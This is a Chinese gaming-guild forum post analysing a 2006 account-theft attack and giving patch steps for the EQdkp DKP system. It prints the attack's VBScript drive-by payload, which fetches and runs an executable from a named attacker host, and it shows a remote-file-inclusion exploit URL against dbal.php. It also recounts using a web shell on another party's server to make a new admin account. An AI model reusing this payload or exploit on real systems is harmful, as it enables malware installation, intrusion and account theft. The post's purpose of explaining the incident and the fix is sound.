本次木马事件,DKP系统安全问题解决方案(已更新)
非常感谢荣耀公会服务器管理员 凋零 找到了这次攻击的元凶 -- DKP 系统
下面是转他发表的文章,并且非常感激他为公会所做的一切,为了进行试验,导致他自己的帐号也被盗,损失惨重:
从出现问题到现在.公会一直在检查论坛的相关代码和后台访问记录.现在事情终于得出了一点头绪
但是我想说明的是.不仅是我们.其它很多公会.都在这次大规模洗号中损失惨重
我想我们该做的.一方面与9C进行交涉处理好这次帐号恢复的事件.因为我们中有一些人已经是第二次需要恢复了.另一方面.查出攻击者所用的方法和目的
另外.从昨天开始我收集了所有论坛的数据源码.DISCUZ的所有漏洞报告.还有系统注入的一些漏洞报告并检查了我们的服务器系统.可以证明的是.并不是操作系统引发的安全漏洞导致公会论坛被攻击
好了.说再多可能大家也没有太多时间去关心.以下是关于本次公会论坛被注入的一些详细说明和一些比较专业的解释.请奈心看完这篇文章.并相信语文和公会管理组会同9C协商给大家圆满的解决这次事件
这里先给大家做几点说明
1.公会论坛本身没有任何木马程序.也就是说并不是通过上传木马程序到服务器来达到的攻击目的
2.虽然公会论坛本身没有任何木马程序.但是公会论坛被植入IFrame语句.被隐藏了另一个网页程序.而另一个网页(远程的fxfqiao.com/laopo/black.htm,此为木马所有网页.请大家不要访问.出了问题概不负责)就是这次恶梦的最魁祸首了
3.这次大家中毒的始末.访问公会论坛.论坛首页被放置了IFrame连接了另一个网页.所以另一个网页自动打开.而另一个网页中包含木马.之后在你不知情的情况下木马默默的进入了你的机器
附:下边是我冒死在这网页上解析出来的东西并加了一些说明.不怕死的有兴趣的可以去那个网页看看
---------------------网页病毒.不懂请勿随意复制-------------------------------------------
Set df = document.createElement("object") '创建项目
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36" '对项目进行36位全球唯一码编号
Set x = df.CreateObject("Microsoft.XMLHTTP,"") '创建一个XMLHTTP项目(用来传输数据)
set SS = df.createobject("ADODB.Stream","") '创建一个ADOBD数据流格式(数据媒介)
SS.type = 1 '类型.1好像是2进制.具体忘了
x.Open Get, "http://fxfqiao.com/laopo/1.exe", False '打开远程文件,这个就是木马文件了
x.Send '发送
set F = df.createobject("Scripting.FileSystemObject","") '创建一个文件项目(用来把数据流还原成文件)
set tmp = F.GetSpecialFolder(2) '这句好像是获得文件夹
SS.open ''
fname1= F.BuildPath(tmp,"svchost.exe") '注入到svchost.exe
SS.write x.responseBody '把远程文件写入数据流中
SS.savetofile fname1,2 '把数据流存为文件.并且是直接写到svchost.exe的Hook好像,到这里.你的机器已经中毒
set Q = df.createobject(Shell.Application,"") '创建一个Shell
Q.ShellExecute fname1,"","","open",0 '到这里.你的病毒开始发挥作用
-------------------------------------------------------------------------------------------------
之后.我们分析了所有系统的参数传递规则
确实.4.0R3的Discuz论坛确实存在一个可被注入IFrame的漏洞.可惜我们的论坛版本并不是有漏洞的R3版本
虽然不是这版本.但是为了验论系统确实没有问题.我也做了一系统的攻击测试.并没有发现论坛的相关漏洞
而写我们的论坛是禁止上传GIF头像的.也就是说GIF的木马也是无法传递的
那么迷底是什么呢?
我想大家有些人应该已经知道了.公会的DKP系统关闭了.
是的.DKP系统的结构和DKP系统本身存在着相当严重的安全漏洞.
简单的说远程攻击者可以利用漏洞以WEB进程权限执行任意PHP命令。
具体情节是'dbal.php'脚本对用户提交的'eqdkp_root_path'参数缺少过滤
指定远程服务器上的任意文件作为包含对象,可导致以WEB权限执行任意PHP代码
之后我拿两个不同的服务器做了两次实验.好吧.如果你们不信.看看这个
实验一:
"http://www.vanex.cn/mc/includes/dbal.php?eqdkp_root_path=http://forhonor.cn/logging.php?action=logout"
现在执行的"http://forhonor.cn/logging.php?action=logout"其实并没有在Forhonor.cn所在的服务器上执行
而是在"http://www.vanex.cn"的服务器上执行了相关PHP代码.只不过这个代码来自于Forhonor.cn
简单的说.通过DKP系统,我在服务器1上执行了服务器2上的代码.而这个代码的主人是服务器2.却在服务器1上被执行.
举个简单的例子.本来我需要用一个钥匙进行开锁.正常情况下.我用服务器2的钥匙在服务器2上进行开锁行为.之后服务器2上开锁成功
但是这一切都将改变.同样.我在服务器上用服务器2的钥匙进行开锁行为.之后.服务器1就像服务器2一样.接受了我的开锁请示.之后服务1的锁开了...
我想说到这里.大家也明白这一切代表着什么意味着什么.
实验一并没有任何恶意代码和功能.只是为了说明该漏洞的存在性
之后.实验二(安全起见只进行简单描述.不提供具体步骤):
我在自己的服务器(简称A)上上传了一个网页Shell(类似于在网页上执行CMD命令行一样)
然后我通过别人的服务器(简称B)的DKP系统运行了A上边的Shell...
之后..我得到了B服务器的文件路径.B服务器的所有文件的名称
再之后.我在B服务器建立一个PHP网页用来执行MySQL命令
之后.我执行了一个很简单的数据插入语句.然后我想大家明白了.我对他们的论坛数据库进行了数据插入.增加了一个用户并使自己成为了管理员
------------------------------------------------------------------------------------
我试图对所有的EQDKP系统进行测试.然后我用Google随便在网上查了一下装备.之后出来了好多DKP系统的网址...
可以说.所有查到的EQDKP都存在这样的漏洞
所以这也是为什么大多数公会都被入侵的原因.我想没有任何一个公会不使用DKP吧.尤其是在EQDKP系统普及的今天
-----------------------------------------------------------------------------------
再之后.让我们看看这个恶毒的人做了什么吧
使用DKP漏洞上传更为强大的后门程序或是直接获得论坛超级管理员权限(我相论坛的截图大家也看到了.SuperJack.UID=1.这个1是什么概念.我想大家也明白.一般情况这个1就是指第一个在论坛注册的人.也就是说一般就是论坛的建造者)
使用论坛超级管理员帐号进行公会论坛后台增加一个简单的文字描述:
Iframe Scr="http://fxxxx.xxxxxx/black.htm" width=0 height=0
之后神不知鬼不觉的使我们的论坛附加了一个这样的网页.并且不可见.然后出现了像今天一样大模规的盗号行为
-----------------------------------------------------------------------------------
最后.我只是说一点.这个病毒是前几天才发现
直至今日.Rising这种国内出名的杀毒大户也不能查到这个病毒.哪怕你把这个病毒放在他眼皮子底下告诉他去查一下这个东西.他也会告诉你.这个东西很安全...
另外.此次盗号规模相当庞大.因为只要涉及到EQDKP系统没有修正BUG的网站.基本上无一幸免
现在.请你不要庆幸你的帐号还安心的穿着衣服带着钱财正常的下副本.PK或是打怪
一种可能.现在攻击者手中已经有大量的帐号.对于你的装备或者那点钱财根本不在乎.所以你才能幸免.因为没人对乞丐有那么大的兴趣
另一种可能.攻击者现在对于手上的帐号已经无法来的及处理.所以只可能他现在忙着扒别人的装备拿别人的钱财.不过我想.很快会轮到你的..
所以.不管是对于这次的大规模盗号事件还是将来.我们都应该保持着一份警惕.及时升级你的软件和杀毒软件.经常性的检查进程和文件夹中的文件.另外.请及时更新密码
最后说明一点:盗号是违法的.尤其是像这种大规模帐号被盗事件.一旦被查出攻击者是何人.不管出于法律还是社会.我想.法律是很多人怕的.但是也别忘了.网络暴力流行的今天.只要让人查出攻击者的一些信息.我想.攻击者也不会有什么好日子过了.
提醒大家:网络流氓多.从事盗号需谨慎. 以下技术请勿模仿.出现问题一律不负责
下面论坛管理员所要做的事情就是:
访问 http://www.eqdkp.com , eqdkp早在8月9日就发布了以下补丁:
August 9, 2006
SQL injection patch for 1.2.2 and 1.3.1 (submitted by tsigo at 11:33am PDT)
A possible SQL injection flaw was recently found in both 1.2.2 and 1.3.1 of EQdkp. Patches have been released for both, please apply them immediately.
See the threads for 1.2.2 and 1.3.1 for more information and to download the patch
马上将各自公会所使用的DKP系统升级到1.2.2或者1.3.1版本,并且打上上述的补丁。
这个补丁就是针对eqdkp dbal.php文件能进行sql注入的bug而放出的。
由这个补丁放出到各大公会被木马袭击的时间来看。。恰好是这个公告葬送了无数帐号。。。
目前能采取的安全方案打包:
1,下载 http://www.forhonor.cn/data/dkp_pack.rar
内含有:
eqdkp_1.3.1.1_zhCN_07.16.rar:eqdkp 1.3.1版本汉化版,可以直接覆盖1.3.0版本进行升级
GBK补丁.rar:内码文件
安全补丁_For1.3.1_2006.6.rar:8月份以前eqdkp放出的安全包集合,1.2.0-1.3.1版本适用
安全补丁_For1.2.2_2006.8.rar:8月份eqdkp针对1.2.2版本sql注入放出的安全包
安全补丁_For1.3.1_2006.8.rar:8月份eqdkp针对1.3.1版本sql注入放出的安全包
2,如果你的版本是1.2.x请到 http://www.eqdkp.com 下载相关升级包,执行upgrade.php程序升级到1.3.0
3,如果你的版本是1.3.0x,可以使用上面的包直接覆盖升级到1.3.1,我已经把config.php提取出来了,可以直接覆盖
4,解压缩 安全补丁_For1.3.1_2006.6.rar 并覆盖dkp目录下相关文件
5,解压缩 安全补丁_For1.3.1_2006.8.rar 并覆盖dkp目录下相关文件
6,如果升级过程中出现乱码,可以解压缩 GBK补丁.rar 并覆盖dkp目录下相关文件
最后诅咒这样的程序员,将自己的良心卖给了魔鬼,为了利益冲昏了头脑。
|